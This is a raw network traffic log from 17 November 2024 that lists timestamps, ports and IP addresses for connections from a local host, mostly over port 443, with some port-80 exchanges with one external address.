Nov 17, 2024 03:42:34.965282917 CET	49816	443	192.168.2.5	172.64.41.3
Nov 17, 2024 03:42:35.028109074 CET	49813	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.028110027 CET	49815	443	192.168.2.5	172.64.41.3
Nov 17, 2024 03:42:35.028117895 CET	49817	443	192.168.2.5	162.159.61.3
Nov 17, 2024 03:42:35.028126001 CET	443	49815	172.64.41.3	192.168.2.5
Nov 17, 2024 03:42:35.028134108 CET	443	49817	162.159.61.3	192.168.2.5
Nov 17, 2024 03:42:35.029074907 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.029107094 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.029115915 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.029153109 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.029162884 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.029175043 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.029202938 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.029211044 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.029217005 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.029252052 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.052474976 CET	443	49815	172.64.41.3	192.168.2.5
Nov 17, 2024 03:42:35.052611113 CET	49815	443	192.168.2.5	172.64.41.3
Nov 17, 2024 03:42:35.052617073 CET	443	49816	172.64.41.3	192.168.2.5
Nov 17, 2024 03:42:35.052670956 CET	443	49816	172.64.41.3	192.168.2.5
Nov 17, 2024 03:42:35.052726984 CET	49816	443	192.168.2.5	172.64.41.3
Nov 17, 2024 03:42:35.052814007 CET	49815	443	192.168.2.5	172.64.41.3
Nov 17, 2024 03:42:35.052824020 CET	443	49815	172.64.41.3	192.168.2.5
Nov 17, 2024 03:42:35.053044081 CET	49816	443	192.168.2.5	172.64.41.3
Nov 17, 2024 03:42:35.053064108 CET	443	49816	172.64.41.3	192.168.2.5
Nov 17, 2024 03:42:35.060688972 CET	443	49817	162.159.61.3	192.168.2.5
Nov 17, 2024 03:42:35.060770035 CET	49817	443	192.168.2.5	162.159.61.3
Nov 17, 2024 03:42:35.061575890 CET	49817	443	192.168.2.5	162.159.61.3
Nov 17, 2024 03:42:35.061602116 CET	443	49817	162.159.61.3	192.168.2.5
Nov 17, 2024 03:42:35.123392105 CET	443	49818	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.126292944 CET	49818	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.126318932 CET	443	49818	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.127068996 CET	49818	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.127075911 CET	443	49818	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.145957947 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.145981073 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.146009922 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.146018028 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.146035910 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.146043062 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.146044016 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.146090984 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.158350945 CET	443	49813	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.158370018 CET	443	49813	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.158379078 CET	443	49813	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.158394098 CET	443	49813	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.158401966 CET	443	49813	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.158405066 CET	443	49813	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.158466101 CET	49813	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.158480883 CET	443	49813	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.158499002 CET	49813	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.158540964 CET	49813	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.203279018 CET	443	49820	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.203886986 CET	443	49819	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.204080105 CET	49820	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.204159021 CET	443	49820	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.204575062 CET	49820	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.204593897 CET	443	49820	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.205497026 CET	49819	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.205523968 CET	443	49819	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.206491947 CET	49819	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.206497908 CET	443	49819	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.257978916 CET	443	49818	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.258167028 CET	443	49818	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.258254051 CET	49818	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.258440971 CET	49818	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.258460999 CET	443	49818	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.258475065 CET	49818	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.258481979 CET	443	49818	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.260656118 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.260677099 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.260721922 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.260752916 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.260771036 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.260799885 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.260806084 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.260842085 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.263597012 CET	49823	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.263633013 CET	443	49823	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.263734102 CET	49823	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.268528938 CET	49823	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.268551111 CET	443	49823	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.275268078 CET	443	49813	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.275284052 CET	443	49813	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.275331974 CET	443	49813	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.275355101 CET	49813	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.275371075 CET	443	49813	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.275382996 CET	443	49813	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.275398970 CET	49813	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.275589943 CET	49813	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.331187963 CET	443	49820	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.331517935 CET	443	49820	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.331938028 CET	49820	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.332096100 CET	49820	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.332144022 CET	443	49820	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.332163095 CET	49820	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.332180023 CET	443	49820	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.334150076 CET	443	49819	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.334283113 CET	443	49819	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.334355116 CET	49819	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.337383986 CET	49819	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.337402105 CET	443	49819	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.337423086 CET	49819	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.337430000 CET	443	49819	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.345113993 CET	49824	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.345148087 CET	443	49824	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.345206022 CET	49824	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.346210957 CET	49825	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.346236944 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.346251011 CET	49824	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.346266985 CET	443	49824	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.346302986 CET	49825	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.346555948 CET	49825	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.346570015 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.378258944 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.378287077 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.378324986 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.378333092 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.378372908 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.378372908 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.393712997 CET	443	49813	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.393731117 CET	443	49813	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.393785954 CET	49813	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.393800020 CET	443	49813	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.393913031 CET	49813	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.457736015 CET	443	49821	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.495003939 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.495038986 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.495085001 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.495099068 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.495132923 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.495155096 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.497817993 CET	443	49822	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.499028921 CET	49821	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.499079943 CET	443	49821	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.509054899 CET	443	49813	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.509073973 CET	443	49813	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.509164095 CET	49813	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.509164095 CET	49813	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.509181976 CET	443	49813	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.511336088 CET	49813	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.528685093 CET	49821	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.528698921 CET	443	49821	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.530540943 CET	49822	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.530575037 CET	443	49822	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.531166077 CET	49822	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.531177998 CET	443	49822	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.549887896 CET	443	49813	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.549952030 CET	443	49813	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.549974918 CET	49813	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.550050020 CET	49813	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.570791006 CET	49813	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.570811033 CET	443	49813	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.612010956 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.612042904 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.612111092 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.612124920 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.612144947 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.612180948 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.656198978 CET	443	49822	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.656363964 CET	443	49822	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.656636953 CET	49822	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.656968117 CET	443	49821	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.657267094 CET	443	49821	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.657318115 CET	49821	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.658085108 CET	49822	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.658112049 CET	443	49822	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.684113979 CET	49821	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.684129953 CET	443	49821	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.706001043 CET	49826	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.706041098 CET	443	49826	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.706099033 CET	49826	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.710958958 CET	49827	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.710988998 CET	443	49827	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.711007118 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:35.711072922 CET	49827	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.711220026 CET	49826	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.711232901 CET	443	49826	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.712217093 CET	49827	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.712228060 CET	443	49827	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.715868950 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:35.729393005 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.729428053 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.729473114 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.729487896 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.729513884 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.729528904 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.845571995 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.845602036 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.845665932 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.845680952 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.845707893 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.845730066 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.888170958 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.888205051 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.888252020 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.888262987 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.888295889 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.888309956 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.963592052 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.963644028 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.963696957 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.963707924 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:35.963787079 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:35.994565010 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:35.994590044 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:35.994616985 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:35.994618893 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:35.994636059 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:35.994646072 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:35.994662046 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:35.994663954 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:35.994685888 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:35.994698048 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:35.994707108 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:35.994728088 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:35.994730949 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:35.994752884 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:35.994771004 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:35.995384932 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:35.995465994 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:35.995467901 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:35.995512009 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:35.995909929 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:35.995953083 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:35.995997906 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:35.999625921 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:35.999686956 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.014118910 CET	443	49823	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.014738083 CET	49823	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.014775991 CET	443	49823	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.015376091 CET	49823	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.015383005 CET	443	49823	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.080091953 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.080154896 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.080188036 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.080203056 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.080244064 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.080259085 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.081712961 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.082041025 CET	443	49824	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.082262039 CET	49825	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.082279921 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.082654953 CET	49824	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.082729101 CET	49825	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.082734108 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.082746983 CET	443	49824	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.083252907 CET	49824	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.083268881 CET	443	49824	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.153547049 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.153599024 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.153654099 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.153655052 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.153666019 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.153714895 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.153729916 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.153779984 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.153805971 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.153827906 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.153831959 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.153877974 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.153879881 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.153924942 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.153927088 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.153971910 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.154424906 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.154438972 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.154481888 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.154525042 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.154568911 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.154584885 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.154603958 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.154627085 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.154627085 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.154649973 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.154669046 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.187978029 CET	443	49823	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.188060045 CET	443	49823	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.188235998 CET	49823	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.188263893 CET	49823	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.188278913 CET	443	49823	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.188290119 CET	49823	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.188296080 CET	443	49823	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.191087008 CET	49828	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.191123962 CET	443	49828	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.191209078 CET	49828	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.191334009 CET	49828	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.191353083 CET	443	49828	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.196682930 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.196717024 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.196773052 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.196784019 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.196821928 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.196856022 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.211545944 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.211632967 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.211767912 CET	49825	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.211767912 CET	49825	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.211801052 CET	49825	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.211810112 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.213421106 CET	443	49824	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.213665009 CET	443	49824	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.213762045 CET	49824	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.213762999 CET	49824	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.213849068 CET	49824	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.213886976 CET	443	49824	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.214313030 CET	49829	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.214342117 CET	443	49829	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.214492083 CET	49829	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.214602947 CET	49829	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.214617014 CET	443	49829	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.215888977 CET	49830	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.215976000 CET	443	49830	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.216059923 CET	49830	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.216203928 CET	49830	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.216243029 CET	443	49830	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.240649939 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.240669966 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.240770102 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.240771055 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.240838051 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.240935087 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.267277956 CET	49832	443	192.168.2.5	172.64.41.3
Nov 17, 2024 03:42:36.267316103 CET	443	49832	172.64.41.3	192.168.2.5
Nov 17, 2024 03:42:36.267335892 CET	49831	443	192.168.2.5	172.64.41.3
Nov 17, 2024 03:42:36.267353058 CET	443	49831	172.64.41.3	192.168.2.5
Nov 17, 2024 03:42:36.267419100 CET	49832	443	192.168.2.5	172.64.41.3
Nov 17, 2024 03:42:36.267467022 CET	49831	443	192.168.2.5	172.64.41.3
Nov 17, 2024 03:42:36.267611027 CET	49831	443	192.168.2.5	172.64.41.3
Nov 17, 2024 03:42:36.267622948 CET	443	49831	172.64.41.3	192.168.2.5
Nov 17, 2024 03:42:36.267733097 CET	49832	443	192.168.2.5	172.64.41.3
Nov 17, 2024 03:42:36.267751932 CET	443	49832	172.64.41.3	192.168.2.5
Nov 17, 2024 03:42:36.277065039 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.277101040 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.277127981 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.277146101 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.277151108 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.277163982 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.277165890 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.277188063 CET	80	49797	185.215.113.206	192.168.2.5
